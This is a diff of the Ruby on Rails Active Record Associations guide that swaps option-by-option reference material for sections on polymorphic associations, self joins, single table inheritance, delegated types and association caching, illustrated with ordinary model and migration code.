+the join model. The join table needs a `primary_key` (or a [composite primary
+key](active_record_composite_primary_keys.html)).
 
 ```ruby
-class User < ApplicationRecord
-  self.primary_key = 'guid' # primary key is guid and not id
+class Assembly < ApplicationRecord
+  has_many :manifests
+  has_many :parts, through: :manifests
 end
 
-class Todo < ApplicationRecord
-  belongs_to :user, primary_key: 'guid'
+class Manifest < ApplicationRecord
+  belongs_to :assembly
+  belongs_to :part
+end
+
+class Part < ApplicationRecord
+  has_many :manifests
+  has_many :assemblies, through: :manifests
 end
 ```
 
-When we execute `@user.todos.create` then the `@todo` record will have its
-`user_id` value as the `guid` value of `@user`.
+You'd use `has_many :through` when:
 
-##### `:inverse_of`
+- You need to add extra attributes or methods to the join table.
+- You require [validations](active_record_validations.html) or
+  [callbacks](active_record_callbacks.html) on the join model.
+- The join table should be treated as an independent entity with its own
+  behavior.
 
-The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options.
+The `has_and_belongs_to_many` association allows you to create a many-to-many
+relationship directly between two models without needing an intermediary model.
+This method is straightforward and is suitable for simple associations where no
+additional attributes or behaviors are required on the join table. For
+`has_and_belongs_to_many` associations, you'll need to create a join table
+without a primary key.
 
 ```ruby
-class Author < ApplicationRecord
-  has_many :books, inverse_of: :author
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
 end
 
-class Book < ApplicationRecord
-  belongs_to :author, inverse_of: :books
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
 end
 ```
 
-##### `:polymorphic`
+You'd use `has_and_belongs_to_many` when:
 
-Passing `true` to the `:polymorphic` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+- The association is simple and does not require additional attributes or
+  behaviors on the join table.
+- You do not need validations, callbacks, or extra methods on the join table.
 
-##### `:touch`
+Advanced Associations
+-------------------------
+
+### Polymorphic Associations
+
+A slightly more advanced twist on associations is the _polymorphic association_.
+Polymorphic associations in Rails allow a model to belong to multiple other
+models through a single association. This can be particularly useful when you
+have a model that needs to be linked to different types of models.
 
-If you set the `:touch` option to `true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
+For instance, imagine you have a `Picture` model that can belong to **either**
+an `Employee` or a `Product`, because each of these can have a profile picture.
+Here's how this could be declared:
 
 ```ruby
-class Book < ApplicationRecord
-  belongs_to :author, touch: true
+class Picture < ApplicationRecord
+  belongs_to :imageable, polymorphic: true
 end
 
-class Author < ApplicationRecord
-  has_many :books
+class Employee < ApplicationRecord
+  has_many :pictures, as: :imageable
 end
-```
-
-In this case, saving or destroying a book will update the timestamp on the associated author. You can also specify a particular timestamp attribute to update:
 
-```ruby
-class Book < ApplicationRecord
-  belongs_to :author, touch: :books_updated_at
+class Product < ApplicationRecord
+  has_many :pictures, as: :imageable
 end
 ```
 
-##### `:validate`
+![Polymorphic Association Diagram](images/association_basics/polymorphic.png)
 
-If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+In the context above, `imageable` is a name chosen for the association. It's a
+symbolic name that represents the polymorphic association between the `Picture`
+model and other models such as `Employee` and `Product`. The important thing is
+to use the same name (`imageable`) consistently across all associated models to
+establish the polymorphic association correctly.
 
-##### `:optional`
+When you declare `belongs_to :imageable, polymorphic: true` in the `Picture`
+model, you're saying that a `Picture` can belong to any model (like `Employee`
+or `Product`) through this association.
 
-If you set the `:optional` option to `true`, then the presence of the associated
-object won't be validated. By default, this option is set to `false`.
+You can think of a polymorphic `belongs_to` declaration as setting up an
+interface that any other model can use. This allows you to retrieve a collection
+of pictures from an instance of the `Employee` model using `@employee.pictures`.
+Similarly, you can retrieve a collection of pictures from an instance of the
+`Product` model using `@product.pictures`.
 
-#### Scopes for `belongs_to`
+Additionally, if you have an instance of the `Picture` model, you can get its
+parent via `@picture.imageable`, which could be an `Employee` or a `Product`.
 
-There may be times when you wish to customize the query used by `belongs_to`. Such customizations can be achieved via a scope block. For example:
+To set up a polymorphic association manually you would need to declare both a
+foreign key column (`imageable_id`) and a type column (`imageable_type`) in the
+model:
 
 ```ruby
-class Book < ApplicationRecord
-  belongs_to :author, -> { where active: true },
-                        dependent: :destroy
+class CreatePictures < ActiveRecord::Migration[8.2]
+  def change
+    create_table :pictures do |t|
+      t.string  :name
+      t.bigint  :imageable_id
+      t.string  :imageable_type
+      t.timestamps
+    end
+
+    add_index :pictures, [:imageable_type, :imageable_id]
+  end
 end
 ```
 
-You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
-
-* `where`
-* `includes`
-* `readonly`
-* `select`
-
-##### `where`
+In our example, `imageable_id` could be the ID of either an `Employee` or a
+`Product`, and `imageable_type` is the name of the associated model's class, so
+either `Employee` or `Product`.
 
-The `where` method lets you specify the conditions that the associated object must meet.
+While creating the polymorphic association manually is acceptable, it is instead
+recommended to use `t.references` or its alias `t.belongs_to` and specify
+`polymorphic: true` so that Rails knows that the association is polymorphic, and
+it automatically adds both the foreign key and type columns to the table.
 
 ```ruby
-class book < ApplicationRecord
-  belongs_to :author, -> { where active: true }
+class CreatePictures < ActiveRecord::Migration[8.2]
+  def change
+    create_table :pictures do |t|
+      t.string :name
+      t.belongs_to :imageable, polymorphic: true
+      t.timestamps
+    end
+  end
 end
 ```
 
-##### `includes`
+WARNING: Since polymorphic associations rely on storing class names in the
+database, that data must remain synchronized with the class name used by the
+Ruby code. When renaming a class, make sure to update the data in the
+polymorphic type column.
 
-You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+For example, if you change the class name from `Product` to `Item` then you'd
+need to run a migration script to update the `imageable_type` column in the
+`pictures` table (or whichever table is affected) with the new class name.
+Additionally, you'll need to update any other references to the class name
+throughout your application code to reflect the change.
 
-```ruby
-class LineItem < ApplicationRecord
-  belongs_to :book
-end
+### Models with Composite Primary Keys
 
-class Book < ApplicationRecord
-  belongs_to :author
-  has_many :line_items
-end
+Rails can often infer primary key-foreign key relationships between associated
+models, but when dealing with composite primary keys, Rails typically defaults
+to using only part of the composite key, often the id column, unless explicitly
+instructed otherwise.
 
-class Author < ApplicationRecord
-  has_many :books
-end
-```
+If you're working with composite primary keys in your Rails models and need to
+ensure the correct handling of associations, please refer to the [Associations
+section of the Composite Primary Keys
+guide](active_record_composite_primary_keys.html#associations-between-models-with-composite-primary-keys).
+This section provides comprehensive guidance on setting up and using
+associations with composite primary keys in Rails, including how to specify
+composite foreign keys when necessary.
 
-If you frequently retrieve authors directly from line items (`@line_item.book.author`), then you can make your code somewhat more efficient by including authors in the association from line items to books:
+### Self Joins
 
-```ruby
-class LineItem < ApplicationRecord
-  belongs_to :book, -> { includes :author }
-end
+A self-join is a regular join, but the table is joined with itself. This is
+useful in situations where there is a hierarchical relationship within a single
+table. A common example is an employee management system where an employee can
+have a manager, and that manager is also an employee.
 
-class Book < ApplicationRecord
-  belongs_to :author
-  has_many :line_items
-end
+Consider an organization where employees can be managers of other employees. We
+want to track this relationship using a single `employees` table.
 
-class Author < ApplicationRecord
-  has_many :books
+In your Rails model, you define the `Employee` class to reflect these
+relationships:
+
+```ruby
+class Employee < ApplicationRecord
+  # an employee can have many subordinates.
+  has_many :subordinates, class_name: "Employee", foreign_key: "manager_id"
+
+  # an employee can have one manager.
+  belongs_to :manager, class_name: "Employee", optional: true
 end
 ```
 
-NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Book belongs_to :author`, then the author is eager-loaded automatically when it's needed.
+`has_many :subordinates` sets up a one-to-many relationship where an employee
+can have many subordinates. Here, we specify that the related model is also
+`Employee` (`class_name: "Employee"`) and the foreign key used to identify the
+manager is `manager_id`.
 
-##### `readonly`
+`belongs_to :manager` sets up a one-to-one relationship where an employee can
+belong to one manager. Again, we specify the related model as `Employee`.
 
-If you use `readonly`, then the associated object will be read-only when retrieved via the association.
+To support this relationship, we need to add a `manager_id` column to the
+`employees` table. This column references the `id` of another employee (the
+manager).
 
-##### `select`
+```ruby
+class CreateEmployees < ActiveRecord::Migration[8.2]
+  def change
+    create_table :employees do |t|
+      # Add a belongs_to reference to the manager, which is an employee.
+      t.belongs_to :manager, foreign_key: { to_table: :employees }
+      t.timestamps
+    end
+  end
+end
+```
 
-The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+- `t.belongs_to :manager` adds a `manager_id` column to the `employees` table.
+- `foreign_key: { to_table: :employees }` ensures that the `manager_id` column
+  references the `id` column of the `employees` table.
 
-TIP: If you use the `select` method on a `belongs_to` association, you should also set the `:foreign_key` option to guarantee the correct results.
+NOTE: The `to_table` option passed to `foreign_key` and more are explained in
+[`SchemaStatements#add_reference`][connection.add_reference].
 
-#### Do Any Associated Objects Exist?
+With this setup, you can easily access an employee's subordinates and manager in
+your Rails application.
 
-You can see if any associated objects exist by using the `association.nil?` method:
+To get an employee's subordinates:
 
 ```ruby
-if @book.author.nil?
-  @msg = "No author found for this book"
-end
+employee = Employee.find(1)
+subordinates = employee.subordinates
 ```
 
-#### When are Objects Saved?
+To get an employee's manager:
 
-Assigning an object to a `belongs_to` association does _not_ automatically save the object. It does not save the associated object either.
+```ruby
+manager = employee.manager
+```
 
-### `has_one` Association Reference
+[connection.add_reference]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference
 
-The `has_one` association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use `belongs_to` instead.
+Single Table Inheritance (STI)
+------------------------------
 
-#### Methods Added by `has_one`
+Single Table Inheritance (STI) is a pattern in Rails that allows multiple models
+to be stored in a single database table. This is useful when you have different
+types of entities that share common attributes and behavior but also have
+specific behaviors.
 
-When you declare a `has_one` association, the declaring class automatically gains five methods related to the association:
+For example, suppose we have `Car`, `Motorcycle`, and `Bicycle` models. These
+models will share fields like `color` and `price`, but each will have unique
+behaviors. They will also each have their own controller.
 
-* `association`
-* `association=(associate)`
-* `build_association(attributes = {})`
-* `create_association(attributes = {})`
-* `create_association!(attributes = {})`
+### Generating the Base Vehicle Model
 
-In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:
+First, we generate the base `Vehicle` model with shared fields:
 
-```ruby
-class Supplier < ApplicationRecord
-  has_one :account
-end
+```bash
+$ bin/rails generate model vehicle type:string color:string price:decimal{10.2}
 ```
 
-Each instance of the `Supplier` model will have these methods:
-
-```ruby
-account
-account=
-build_account
-create_account
-create_account!
-```
+Here, the `type` field is crucial for STI as it stores the model name (`Car`,
+`Motorcycle`, or `Bicycle`). STI requires this field to differentiate between
+the different models stored in the same table.
 
-NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+### Generating Child Models
 
-##### `association`
+Next, we generate the `Car`, `Motorcycle`, and `Bicycle` models that inherit
+from Vehicle. These models won't have their own tables; instead, they will use
+the `vehicles` table.
 
-The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+To generate the `Car` model:
 
-```ruby
-@account = @supplier.account
+```bash
+$ bin/rails generate model car --parent=Vehicle
 ```
 
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload` on the parent object.
+For this, we can use the `--parent=PARENT` option, which will generate a model
+that inherits from the specified parent and without equivalent migration (since
+the table already exists).
+
+This generates a `Car` model that inherits from `Vehicle`:
 
 ```ruby
-@account = @supplier.reload.account
+class Car < Vehicle
+end
 ```
 
-##### `association=(associate)`
+This means that all behavior added to Vehicle is available for Car too, as
+associations, public methods, etc. Creating a car will save it in the `vehicles`
+table with "Car" as the `type` field:
+
+Repeat the same process for `Motorcycle` and `Bicycle`.
 
-The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associated object's foreign key to the same value.
+### Creating Records
+
+Creating a record for `Car`:
 
 ```ruby
-@supplier.account = @account
+Car.create(color: "Red", price: 10000)
 ```
 
-##### `build_association(attributes = {})`
+This will generate the following SQL:
 
-The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
-
-```ruby
-@account = @supplier.build_account(terms: "Net 30")
+```sql
+INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000)
 ```
 
-##### `create_association(attributes = {})`
+### Querying Records
 
-The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+Querying car records will search only for vehicles that are cars:
 
 ```ruby
-@account = @supplier.create_account(terms: "Net 30")
+Car.all
 ```
 
-##### `create_association!(attributes = {})`
+will run a query like:
 
-Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+```sql
+SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car')
+```
 
-#### Options for `has_one`
+### Adding Specific Behavior
 
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+You can add specific behavior or methods to the child models. For example,
+adding a method to the `Car` model:
 
 ```ruby
-class Supplier < ApplicationRecord
-  has_one :account, class_name: "Billing", dependent: :nullify
+class Car < Vehicle
+  def honk
+    "Beep Beep"
+  end
 end
 ```
 
-The `has_one` association supports these options:
+Now you can call the `honk` method on a `Car` instance:
 
-* `:as`
-* `:autosave`
-* `:class_name`
-* `:dependent`
-* `:foreign_key`
-* `:inverse_of`
-* `:primary_key`
-* `:source`
-* `:source_type`
-* `:through`
-* `:validate`
+```ruby
+car = Car.first
+car.honk
+# => 'Beep Beep'
+```
 
-##### `:as`
+### Controllers
 
-Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail [earlier in this guide](#polymorphic-associations).
+Each model can have its own controller. For example, the `CarsController`:
 
-##### `:autosave`
+```ruby
+# app/controllers/cars_controller.rb
 
-If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+class CarsController < ApplicationController
+  def index
+    @cars = Car.all
+  end
+end
+```
 
-##### `:class_name`
+### Overriding the inheritance column
 
-If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way:
+There may be cases (like when working with a legacy database) where you need to
+override the name of the inheritance column. This can be achieved with the
+[inheritance_column][] method.
 
 ```ruby
-class Supplier < ApplicationRecord
-  has_one :account, class_name: "Billing"
+# Schema: vehicles[ id, kind, created_at, updated_at ]
+class Vehicle < ApplicationRecord
+  self.inheritance_column = "kind"
 end
-```
 
-##### `:dependent`
+class Car < Vehicle
+end
 
-Controls what happens to the associated object when its owner is destroyed:
+Car.create(color: "Red", price: 10000)
+# => #<Car kind: "Car", color: "Red", price: 10000>
+```
 
-* `:destroy` causes the associated object to also be destroyed
-* `:delete` causes the associated object to be deleted directly from the database (so callbacks will not execute)
-* `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed.
-* `:restrict_with_exception` causes an exception to be raised if there is an associated record
-* `:restrict_with_error` causes an error to be added to the owner if there is an associated object
+In this setup, Rails will use the `kind` column to store the model type,
+allowing STI to function correctly with the custom column name.
 
-It's necessary not to set or leave `:nullify` option for those associations
-that have `NOT NULL` database constraints. If you don't set `dependent` to
-destroy such associations you won't be able to change the associated object
-because the initial associated object's foreign key will be set to the
-unallowed `NULL` value.
+### Disabling the inheritance column
 
-##### `:foreign_key`
+There may be cases (like when working with a legacy database) where you need to
+disable Single Table Inheritance altogether. If you don't disable STI properly,
+you might encounter an [`ActiveRecord::SubclassNotFound`][] error.
 
-By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+To disable STI, you can set the [inheritance_column][] to `nil`.
 
 ```ruby
-class Supplier < ApplicationRecord
-  has_one :account, foreign_key: "supp_id"
+# Schema: vehicles[ id, type, created_at, updated_at ]
+class Vehicle < ApplicationRecord
+  self.inheritance_column = nil
 end
+
+Vehicle.create!(type: "Car", color: "Red", price: 10000)
+# => #<Vehicle type: "Car", color: "Red", price: 10000>
 ```
 
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+In this configuration, Rails will treat the type column as a normal attribute
+and will not use it for STI purposes. This is useful if you need to work with a
+legacy schema that does not follow the STI pattern.
 
-##### `:inverse_of`
+These adjustments provide flexibility when integrating Rails with existing
+databases or when specific customization is required for your models.
 
-The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+[inheritance_column]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-c-inheritance_column
+[`ActiveRecord::SubclassNotFound`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/SubclassNotFound.html
 
-```ruby
-class Supplier < ApplicationRecord
-  has_one :account, inverse_of: :supplier
-end
+### Considerations
 
-class Account < ApplicationRecord
-  belongs_to :supplier, inverse_of: :account
-end
-```
+[`Single Table Inheritance (STI)`](#single-table-inheritance-sti) works best
+when there is little difference between subclasses and their attributes, but it
+includes all attributes of all subclasses in a single table.
 
-##### `:primary_key`
+A disadvantage of this approach is that it can result in table bloat, as the
+table will include attributes specific to each subclass, even if they aren't
+used by others. This can be solved by using [`Delegated Types`](#delegated-types).
 
-By convention, Rails assumes that the column used to hold the primary key of this model is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+Additionally, if you’re using [polymorphic
+associations](#polymorphic-associations), where a model can belong to more than
+one other model via a type and an ID, it could become complex to maintain
+referential integrity because the association logic must handle different types
+correctly.
 
-##### `:source`
+Finally, if you have specific data integrity checks or validations that differ
+between subclasses, you need to ensure these are correctly handled by Rails or
+the database, especially when setting up foreign key constraints.
 
-The `:source` option specifies the source association name for a `has_one :through` association.
+Delegated Types
+----------------
 
-##### `:source_type`
+Delegated types solves the [`Single Table Inheritance
+(STI)`](#single-table-inheritance-sti) problem of table bloat via
+`delegated_type`. This approach allows us to store shared attributes in a
+superclass table and have separate tables for subclass-specific attributes.
 
-The `:source_type` option specifies the source association type for a `has_one :through` association that proceeds through a polymorphic association.
+### Setting up Delegated Types
 
-##### `:through`
+To use delegated types, we need to model our data as follows:
 
-The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail [earlier in this guide](#the-has-one-through-association).
+* There is a superclass that stores shared attributes among all subclasses in
+  its table.
+* Each subclass must inherit from the superclass, and will have a separate table
+  for any additional attributes specific to it.
 
-##### `:validate`
+This eliminates the need to define attributes in a single table that are
+unintentionally shared among all subclasses.
 
-If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+### Generating Models
 
-#### Scopes for `has_one`
+In order to apply this to our example above, we need to regenerate our models.
 
-There may be times when you wish to customize the query used by `has_one`. Such customizations can be achieved via a scope block. For example:
+First, let's generate the base `Entry` model which will act as our superclass:
 
-```ruby
-class Supplier < ApplicationRecord
-  has_one :account, -> { where active: true }
-end
+```bash
+$ bin/rails generate model entry entryable_type:string entryable_id:integer
 ```
 
-You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
-
-* `where`
-* `includes`
-* `readonly`
-* `select`
-
-##### `where`
-
-The `where` method lets you specify the conditions that the associated object must meet.
+Then, we will generate new `Message` and `Comment` models for delegation:
 
-```ruby
-class Supplier < ApplicationRecord
-  has_one :account, -> { where "confirmed = 1" }
-end
+```bash
+$ bin/rails generate model message subject:string body:string
+$ bin/rails generate model comment content:string
 ```
 
-##### `includes`
+NOTE: If you don't specify a type for a field (e.g., `subject` instead of `subject:string`), Rails will default to type `string`.
 
-You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+After running the generators, our models should look like this:
 
 ```ruby
-class Supplier < ApplicationRecord
-  has_one :account
+# Schema: entries[ id, entryable_type, entryable_id, created_at, updated_at ]
+class Entry < ApplicationRecord
 end
 
-class Account < ApplicationRecord
-  belongs_to :supplier
-  belongs_to :representative
+# Schema: messages[ id, subject, body, created_at, updated_at ]
+class Message < ApplicationRecord
 end
 
-class Representative < ApplicationRecord
-  has_many :accounts
+# Schema: comments[ id, content, created_at, updated_at ]
+class Comment < ApplicationRecord
 end
 ```
 
-If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
-
-```ruby
-class Supplier < ApplicationRecord
-  has_one :account, -> { includes :representative }
-end
+### Declaring `delegated_type`
 
-class Account < ApplicationRecord
-  belongs_to :supplier
-  belongs_to :representative
-end
+First, declare a `delegated_type` in the superclass `Entry`.
 
-class Representative < ApplicationRecord
-  has_many :accounts
+```ruby
+class Entry < ApplicationRecord
+  delegated_type :entryable, types: %w[ Message Comment ], dependent: :destroy
 end
 ```
 
-##### `readonly`
-
-If you use the `readonly` method, then the associated object will be read-only when retrieved via the association.
-
-##### `select`
-
-The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+The `entryable` parameter specifies the field to use for delegation, and include
+the types `Message` and `Comment` as the delegate classes. The `entryable_type`
+and `entryable_id` fields store the subclass name and the record ID of the
+delegate subclass, respectively.
 
-#### Do Any Associated Objects Exist?
+### Defining the `Entryable` Module
 
-You can see if any associated objects exist by using the `association.nil?` method:
+Next, define a module to implement those delegated types by declaring the `as:
+:entryable` parameter in the `has_one` association.
 
 ```ruby
-if @supplier.account.nil?
-  @msg = "No account found for this supplier"
+module Entryable
+  extend ActiveSupport::Concern
+
+  included do
+    has_one :entry, as: :entryable, touch: true
+  end
 end
 ```
 
-#### When are Objects Saved?
-
-When you assign an object to a `has_one` association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
-
-If either of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
-
-If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved.
-
-If you want to assign an object to a `has_one` association without saving the object, use the `association.build` method.
-
-### `has_many` Association Reference
-
-The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
-
-#### Methods Added by `has_many`
-
-When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association:
-
-* `collection`
-* `collection<<(object, ...)`
-* `collection.delete(object, ...)`
-* `collection.destroy(object, ...)`
-* `collection=(objects)`
-* `collection_singular_ids`
-* `collection_singular_ids=(ids)`
-* `collection.clear`
-* `collection.empty?`
-* `collection.size`
-* `collection.find(...)`
-* `collection.where(...)`
-* `collection.exists?(...)`
-* `collection.build(attributes = {}, ...)`
-* `collection.create(attributes = {})`
-* `collection.create!(attributes = {})`
-
-In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+Include the created module in your subclass:
 
 ```ruby
-class Author < ApplicationRecord
-  has_many :books
+class Message < ApplicationRecord
+  include Entryable
 end
-```
 
-Each instance of the `Author` model will have these methods:
-
-```ruby
-books
-books<<(object, ...)
-books.delete(object, ...)
-books.destroy(object, ...)
-books=(objects)
-book_ids
-book_ids=(ids)
-books.clear
-books.empty?
-books.size
-books.find(...)
-books.where(...)
-books.exists?(...)
-books.build(attributes = {}, ...)
-books.create(attributes = {})
-books.create!(attributes = {})
+class Comment < ApplicationRecord
+  include Entryable
+end
 ```
 
-##### `collection`
-
-The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+With this definition complete, our `Entry` delegator now provides the following
+methods:
 
-```ruby
-@books = @author.books
-```
+| Method                  | Return                                                                          |
+| ----------------------- | ------------------------------------------------------------------------------- |
+| `Entry.entryable_types` | ["Message", "Comment"]                                                          |
+| `Entry#entryable_class` | Message or Comment                                                              |
+| `Entry#entryable_name`  | "message" or "comment"                                                          |
+| `Entry.messages`        | `Entry.where(entryable_type: "Message")`                                        |
+| `Entry#message?`        | Returns true when `entryable_type == "Message"`                                 |
+| `Entry#message`         | Returns the message record, when `entryable_type == "Message"`, otherwise `nil` |
+| `Entry#message_id`      | Returns `entryable_id`, when `entryable_type == "Message"`, otherwise `nil`     |
+| `Entry.comments`        | `Entry.where(entryable_type: "Comment")`                                        |
+| `Entry#comment?`        | Returns true when `entryable_type == "Comment"`                                 |
+| `Entry#comment`         | Returns the comment record, when `entryable_type == "Comment"`, otherwise `nil` |
+| `Entry#comment_id`      | Returns entryable_id, when `entryable_type == "Comment"`, otherwise `nil`       |
 
-##### `collection<<(object, ...)`
+### Object creation
 
-The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+When creating a new `Entry` object, we can specify the `entryable` subclass at
+the same time.
 
 ```ruby
-@author.books << @book1
+Entry.create! entryable: Message.new(subject: "hello!")
 ```
 
-##### `collection.delete(object, ...)`
+### Adding further delegation
 
-The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`.
+We can enhance our `Entry` delegator by defining `delegate` and using
+polymorphism on the subclasses. For example, to delegate the `title` method from
+`Entry` to its subclasses:
 
 ```ruby
-@author.books.delete(@book1)
-```
+class Entry < ApplicationRecord
+  delegated_type :entryable, types: %w[ Message Comment ]
+  delegate :title, to: :entryable
+end
 
-WARNING: Additionally, objects will be destroyed if they're associated with `dependent: :destroy`, and deleted if they're associated with `dependent: :delete_all`.
+class Message < ApplicationRecord
+  include Entryable
 
-##### `collection.destroy(object, ...)`
+  def title
+    subject
+  end
+end
 
-The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each object.
+class Comment < ApplicationRecord
+  include Entryable
 
-```ruby
-@author.books.destroy(@book1)
+  def title
+    content.truncate(20)
+  end
+end
 ```
 
-WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option.
+This setup allows `Entry` to delegate the `title` method to its subclasses,
+where `Message` uses `subject` and `Comment` uses a truncated version of
+`content`.
 
-##### `collection=(objects)`
+Tips, Tricks, and Warnings
+--------------------------
 
-The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database.
+Here are a few things you should know to make efficient use of Active Record
+associations in your Rails applications:
+
+* Controlling caching
+* Avoiding name collisions
+* Updating the schema
+* Controlling association scope
+* Bi-directional associations
 
-##### `collection_singular_ids`
+### Controlling Association Caching
 
-The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+All of the association methods are built around caching, which keeps the result
+of loaded associations for further operations. The cache is even shared across
+methods. For example:
 
 ```ruby
-@book_ids = @author.book_ids
-```
+# retrieves books from the database
+author.books.load
 
-##### `collection_singular_ids=(ids)`
+# uses the cached copy of books
+author.books.size
 
-The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database.
+# uses the cached copy of books
+author.books.empty?
+```
 
-##### `collection.clear`
+NOTE: When we use `author.books`, the data is not immediately loaded from the
+database. Instead, it sets up a query that will be executed when you actually
+try to use the data, for example, by calling methods that require data like
+each, size, empty?, etc. By calling `author.books.load`, before calling other
+methods which use the data, you explicitly trigger the query to load the data
+from the database immediately. This is useful if you know you will need the data
+and want to avoid the potential performance overhead of multiple queries being
+triggered as you work with the association.
 
-The `collection.clear` method removes all objects from the collection according to the strategy specified by the `dependent` option. If no option is given, it follows the default strategy. The default strategy for `has_many :through` associations is `delete_all`, and for `has_many` associations is to set the foreign keys to `NULL`.
+But what if you want to reload the cache, because data might have been changed
+by some other part of the application? Just call
+[`reload`](https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-reload)
+on the association:
 
 ```ruby
-@author.books.clear
-```
+# retrieves books from the database
+author.books.load
 
-WARNING: Objects will be deleted if they're associated with `dependent: :destroy`,
-just like `dependent: :delete_all`.
+# uses the cached copy of books
+author.books.size
 
-##### `collection.empty?`
+# discards the cached copy of books and goes back to the database
+author.books.reload.empty?
+```
 
-The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+### Avoiding Name Collisions
 
-```erb
-<% if @author.books.empty? %>
-  No Books Found
-<% end %>
-```
+When creating associations in Ruby on Rails models, it's important to avoid
+using names that are already used for instance methods of `ActiveRecord::Base`.
+This is because creating an association with a name that clashes with an
+existing method could lead to unintended consequences, such as overriding the
+base method and causing issues with functionality. For example, using names like
+`attributes` or `connection` for associations would be problematic.
 
-##### `collection.size`
+### Updating the Schema
+
+Associations are extremely useful, they are responsible for defining the
+relationships between models but they do not update your database schema. You
+are responsible for maintaining your database schema to match your associations.
+This usually involves two main tasks: creating foreign keys for [`belongs_to`
+associations](#belongs-to) and setting up the correct join table for [`has_many
+:through`](#has-many-through) and
+[`has_and_belongs_to_many`](#has-and-belongs-to-many) associations. You can read
+more about when to use a `has_many :through vs has_and_belongs_to_many` [in the
+has many through vs has and belongs to many
+section](#has-many-through-vs-has-and-belongs-to-many).
+
+#### Creating Foreign Keys for `belongs_to` Associations
 
-The `collection.size` method returns the number of objects in the collection.
+When you declare a [`belongs_to` association](#belongs-to), you need to create
+foreign keys as appropriate. For example, consider this model:
 
 ```ruby
-@book_count = @author.books.size
+class Book < ApplicationRecord
+  belongs_to :author
+end
 ```
 
-##### `collection.find(...)`
-
-The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`.
+This declaration needs to be backed up by a corresponding foreign key column in
+the books table. For a brand new table, the migration might look something like
+this:
 
 ```ruby
-@available_books = @author.books.find(1)
